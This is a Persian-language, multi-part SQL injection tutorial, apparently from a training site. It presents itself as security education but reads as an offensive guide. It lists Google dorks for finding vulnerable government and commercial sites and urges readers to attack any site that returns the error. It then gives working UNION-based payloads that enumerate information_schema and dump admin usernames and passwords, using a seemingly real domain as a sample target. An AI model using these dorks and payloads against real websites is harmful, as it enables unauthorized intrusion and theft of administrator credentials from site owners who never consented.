SQL Injection چیست؟ چگونه مثالهای کاربردی SQL Injection را یاد بگیریم؟ در این اموزش که در چند قسمت اماده میشه سعی میکنم تمام مباحثی که sql injection اونا رو پوشش میده توضیح بدم و سعی میکنم همه چی رو به صورت عملی و کاربردی بگم که شما بتونید وب سایت هاتون رو از فیلتر این باگ بگذرونید.
site:.com.uk inurl:id(inurl):.php
نکته این ادرس های نامفهومی که من گذاشتم تو دنیای امنیت (دورک) نام داره. یه سری دورک در زیر قرار میدم:
us "site:.gov.uk inurl:"id "site:.gov.us inurl:"id german "site:.gov.de inurl:"id chin "site:.gov.cn inurl:"id etc "site:.gov.aq inurl:"id "site:.gov inurl:"id
مثال :شما میتونید تو گوگل سرچ کنید دورک مخصوص باگ sql برای وب سایت های چینی و ... زمانی که سرچ کردید گوگل یه سری لینک به شما میده مث همیشه که سرچ میکنید. ولی یادتون باشه این دورک هایی که من گذاشتم برا سایت های دولتیه و اگه بخوایید یه سایت تجاری یا یه سایت یا شرکتی بزنید باید سرچی رو که انجام میدید بایپس کنید یعنی تغییرش بدید
"site:.gov.uk inurl:"id
این ادرس بالا رو به ادرس زیر تغییر بدید:
"site:.com.uk inurl:"id
یا اگه مثلا سایتی رو میخوایید بزنید که تکنولوژی مورد نظری منظورتونه مثلا asp یا php اینطوری بنویسید:
site:.com.uk inurl:id(inurl):.asp site:.com.uk inurl:id(inurl):.php
خب وقتی شما تارگت مورد نظر رو پیدا کردی حالا باید بررسی کنید که اون سایت در اون صفحه باگ داره یا نه برای این کار شما به دو روش میتونید تست رو انجام بدید:
روش اول: زمانی که وارد سایت مورد نظر شدید تنها کاری که لازم است انجام دهید اضافه کردن یک کاراکتر تک کوتیشن به اخر ادرس وب سایت است ، مثال: این مثالی که من میزنم اینطور سایتی اصلا وجود نداره فقط محض اموزشه:
www.mamamad.com/ ?page_id=759
حالا کافیست که اینو وارد کنید:
'www.mamamad.com/ ?page_id=759
حال اگر وب سایت کامل لود شد و مشکلی نداشت یعنی باگ نداره ولی اگر اون وب سایت به جای لود کردن صفحه ادرس زیر رو نمایان کرد یعنی باگ داره و ما میتونیم به کارمون ادامه بدیم:
Warning:mysql_fetch_array():supplied argument is not valid my sql result resource in c:/hosting/45965/html/m.php on line 100
تا این warning یاهشدار رو دیدید بدونید که سایت طرف باگ داره و باید اون سایت رو پیاده کنید.
And 1=0 And1=1
اگر زمانی and1=0 رو امتحان کردید و صفحه مورد نظر کامل لود نشد و ناقص بود یعنی اسیب پذیره و با اضافه کردن 1=1 هم صفحه باید کامل لود بشه. اینطوری تست منطقی رو انجام بدید:
—www.mamamad.com/ ?page_id=759+and+1=0
و اگه میخوایید بدونید که سایت چطوری کامل لود میشه اینو امتحان کنید:
—www.mamamad.com/ ?page_id=759+and+1=1
در این قسمت با نحوه جستجو کردن و پیدا کردن تارگت اشنا شدید و یاد گرفتید که چه سایتی باگ داره یا نه . در قسمت های بعدی به ادامه اموزش پرداخته میشود.لطفا اشکالات که بر این اموزش وارد است رو بنویسید تا بهتر و کاربردی تر بشه.
در قسمت قبلی با پیدا کردن تارگت و همچنین پیدا کردن باگ اشنا شدید.در این قسمت میخواهیم تعداد ستون های جدول تارگت رو پیدا کنیم برای این کار ما باید از دستور order by استفاده کنیم.برای اجرا شدن این کار باید در اخر url سایتی که از اون ارور دریافت کردیم دستور زیر رو وارد کنیم.
--[Order+by[column test
اگر عددی که وارد میکنیم بعد از لود پیج ارور دریافت کنیم یعنی تعداد ستون های وب سایت کمتر از تعدادی است که ما حدس میزنیم پس باید تعداد را تا جایی کم کنیم که دیگر از طرف سایت تارگت ارور دریافت نکنیم.زمانی هست که شما عدد 1یا 2 رو وارد میکنید و ارور دریافت نمیکنید
پس نباید فکر کنید که سایت تارگت شما 1 یا 2 ستونی است باید انقدر مقدار را زیاد کنید تا به اخرین حد برسید یعنی تا جایی که به یک مقدار برسید که ارور دریافت کنید و ان را یکی کم کنید که دیگر ارور نداشته باشد.مثال: من از عدد 15 ارور دریافت میکنم ولی لز عدد 14 ارور دریافت نمیکنم پس سایت تارگت 14 ستونی است.خب یه کم عملی تست کنیم :
http://firecrop.com/news.php?id=41
این سایت بالا رو اینطوری ستون هاشو پیدا میکنیم :
--http://firecrop.com/news.php?id=-999+order+by+30
خب این عدد 30 رو که وارد کردیم.رو انقد بالاپاین میکنیم تا ستون مورد نظر پیدا شود.حالا این عدد -999 چیه؟ این number id که وارد کردیم معمولا از تعداد جدول ها بیشتر میگیرن تا کد اجرا بشه من 999 گذاشتم شما میتونید 200 بزارید.که روش نوشتنش اینطوریه :
999-
یه نکته دیگه در گذاشتن order by من از + استفاده کردم شما میتونید از space استفاده کنید هیچ فرقی نمیکنه من اینطوری گذاشتم:
--[Order+by+[column test
شما میتونید این رو هم استفاده کنید:
--[Order by [column test
مثال کاربردی از این نکته:
--http://firecrop.com/news.php?id=-999 order by 30
بعد از پیدا کردن ستون های مورد نظرمون باید به سراغ ستون های اسیپ پذیر بریم و اونا رو پیدا کنیم.دراین قسمت از دستور union select استفاده میکنیم و بعد از این دستور. ستون های سایت تارگت رو به ترتیب پشت سر هم قرار میدیم.به صورت زیر:
http://website.com/mali.php?id=5+union+select+1+2+3+4+5--
یکی از مهمترین و حساس ترین کار ها در sql injection بیرون کشیدن ورژن دیتابیس هستش حالا چرا؟ چون بیرون کشیدن اطلاعات یک وب سایت با استفاده از این روش بستگی به ورژن دیتابیس داره یعنی روش کد زدن در ورژن های دیتابیس متفاوته مثال ورژن 5 به پایین متافته تا ورژن های 5 به بالا.
ما در این سری اموزش روش تست بر روی ورژن های 5 به بالا رو توضیح میدیم.دلیلشم اینه که وب سایت ها چون به روز میشن پس دیتا بیسشونم به روز میشه و ورژن بالا میره. خب برای بیرون کشیدن ورژن سایت فقط کافیه دستور ()verrsion یا version@@ رو داخل یکی از ستون های اسیب پذیر قرار بدید به صورت زیر:
http://www.mysite.com/news.php?id=5+union+select+1,2,version(),5--
خب همونطوری که من در قسمت قبلی متوجه شدم ستون های اسیب پذیر 1و3و5 هستن . پس باید version v رو تو یکی از این ستون ها قرار بدید تا دیتا بیس براتون به نمایش در بیاد من به صورت دلخواه version رو به جای ستون 3 گذاشتم شما میتونید به جای ستون 1 یا 3 بزارید.خب بعد از گذاشتن این کلمه تو این متد نوع دیتابیس نمایش داده میشه که یه نوشته ای به صورت زیر است.
5.0.5.1a-24-log 3
توضیح نوشته بالا: یعنی ورژن دیتابیس شما 5 هستش و این ورژن درون ستون 3 پیدا شد.اینم از قسمت چهارم امیدوارم راضی شده باشید.
مهمترین باگی که در این دیتابیس وجود داره دیتابیسی به اسم information_schema هستش.ولی اول شما باید یاد بگیرید که چطور جدول های این دیتابیس رو فراخوانی کنید.چون بیشتر مواقع جدول ادمین در این دیتابیس وجود داره پس میتونید سریعتر به یوزر پسورد ادمین برای ورود به پنل مدیریت دست پیدا کنید.برای فراخوانی جدول های این دیتابیس شما باید کد زیر رو در مرورگر وارد کنید.
http://www.mysite.com/news.php?id=5+union+select+1,group_concat(table_name),3 ,4,5+from+information_schema.tables--
حالا ما در اینجا جدول های دیتابیس هامون رو فراخوانی کردیم.حالا بیاییم به یکی از کد ها بپردازیم.
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIV ILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLE S,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,foto_gallery,gallery,gallery _year,news,news_gallery,partners,partners_gallery,program,tips,twit,users,us
خب وقتی جدول ها رو نشون داد پس اید به دنبال جدول ادمین بگردیم تا بتونیم یوزر پس سلیت رو بدست بیاریم.جدول ادمین معمولا به اسم هاییه که در زیر مینویسم.
User,users,admin,login,username,usr,_user,tbladmin,tbluser,tblusers
خب بعد از پیدا کردن جدول ادمین میشه گفت خیلی از راهو رفتیم.حالا برای فراخوانی جدول مورد نظرمون (جدول ادمین) ما باید از دستور where داخل تابع خود استفاده کنیم.دوستان ما در این قسمت فرض بر این میگیریم که جدول ادمین رو پیدا کردیم حالا میخواییم ستون های مورد نظر رو پیدا کنیم.یعنی چی:یعنی به جای دستور table از دستور column استفاده کنیم به شکلی که در زیر مینویسم:
http://www.mysite.com/news.php?id=5+union+select+1,group_concat(column_name),3,4,5+from+ information_schema.columns+where+table_name=0x7573657273--
این کد های نامفهوم چیه؟ توی برنامه نویسی یه سری کد وجود داره به اسم هگزا کد یا به قول استادمون مبنای 16.حالا درون sql از این کد ها برای فراخوانی ستون های جدول ادمین ازشون استفاده میشه.حالا یه راه بهتر بهتون بگم سایت ها و نرم افزار های زیادی هست که این کار رو برا ما انجام میده ولی یه چیزی هست که خیلی زیاد استفده میشه و کسی که عمل تست نفوذ رو انجام میده یکم براش بهتره چون میدونه پشت پرده ماجرا چه خبره و این ابزار hack bar مرورگر firefox هستش.این نوار بار علاوه بر تست با استفاده از باگ sql میتونید تست xss هم باهاش بزنید لینک نصب نوار بار رو در زیر قرار میدم:
https://addons.mozilla.org/en-US/firefox/addon/hackbar/
خب بریم سر اصل مطلب ما اومدیم کلمه user رو به کد هگزا تبدیل کردیم و شد این (7573657273) حالا برای این که این عدد ما به مبنای 16 بره ما یه 0x به قبل عدد اضافه میکنیم .پس ما اومدیم کلمه user رو به این عدد به صورت مبنای 16 نوشتیم که شد این (0x7573657273) خب بعد از اجرای متد بالا که نوشتیم جدول ادمین به صورت نوشته زیر برامون به نمایش درمیاد.
(4) id,login.passwd,id,login.passwd 3
خب همانطوری که نشون داده login که نشان دهنده یوزرنیم جدول و passwd نشان دهنده پسورد جدول است برامون به نمایش دراومده.دوستان اینم قسمت ششم امیدوارم خوشتون اومده باشه
در قسمت های قبلی تونستیم جدول ادمین رو پیدا کنیم و تونستیم جدولی رو پیدا کنیم که یوزر پسورد ادمین داخلش بود حالا باید محتویات جدول ادمین رو بیرون بریزیم.برای بیرون کشیدن یوزر پسورد سایت از تابع زیر استفاده میکنیم:
http://www.mysite.com/news.php?id=5+union+select+1,group_concat(login,0x3a,passwd),3 ,4,5+from+users--
یه توضیح کوچیک در مورد کد بالا: (0x3a) ما اومدیم کاراکتر (:) رو بردیم به مبنای 16 تا یوزر پسوردی که وب سایت به نمایش درمیاره قاطی نشه.و همچنین بتونیم طول کاراکتر ها رونمایش بدیم.یه جورایی میشه گفت برای جداسازی یوزر پسورد ادمین ازش استفاده میشه.زمانی که تابع بالا رو اجرا میکنیم دستورات زیر برامون به نمایش در میاد:
(4) admin:aadmin,p1:p1
همانطوری که در بالا مشاهده میکنید 2 تا یوزر پسورد برامون به نمایش دراومده بزارید تفکیکش کنم که متوجه بشیم جریان از چه قراره:
admin:aadmin رو میتونیم اینطوری جدا سازی کنیم username:admin و password:aadmin
و اگه بخواییم یوزر پسورد دوم رو تفکیک کنیم :
p1:p1 رو میتونیم اینطوری جدا سازی کنیم username:p1 و password:p1
همونطوری که مشاهده کردین تونستیم با استفاده از (:) یوزر پسورد رو جداکنیم و فهمش رو برا خودمون بهتر کنیم. اینم از قسمت پایانی دوستان امیدوارم خوشتون اومده باشه.
زمان پاسخ گویی روز های شنبه الی چهارشنبه ساعت 9 الی 18
فقط به موضوعات مربوط به محصولات آموزشی و فروش پاسخ داده می شود